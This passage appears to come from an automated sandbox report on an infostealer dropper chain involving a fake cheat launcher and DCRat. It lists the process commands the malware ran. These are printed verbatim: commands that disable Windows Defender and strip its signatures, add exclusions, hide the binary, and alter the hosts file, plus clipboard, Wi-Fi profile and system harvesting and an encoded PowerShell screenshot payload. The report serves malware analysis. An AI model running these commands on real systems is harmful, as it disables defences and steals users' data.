$screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File written: C:\Windows\System32\drivers\etc\hosts

Removes signatures from Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Process created: C:\Users\user\AppData\Local\Temp\x10.exe "C:\Users\user\AppData\Local\Temp\x10.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process created: C:\Users\user\AppData\Local\Temp\x9.exe "C:\Users\user\AppData\Local\Temp\x9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process created: C:\Users\user\AppData\Local\Temp\x8.exe "C:\Users\user\AppData\Local\Temp\x8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process created: C:\Users\user\AppData\Local\Temp\x7.exe "C:\Users\user\AppData\Local\Temp\x7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process created: C:\Users\user\AppData\Local\Temp\x6.exe "C:\Users\user\AppData\Local\Temp\x6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process created: C:\Users\user\AppData\Local\Temp\x5.exe "C:\Users\user\AppData\Local\Temp\x5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process created: C:\Users\user\AppData\Local\Temp\x4.exe "C:\Users\user\AppData\Local\Temp\x4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH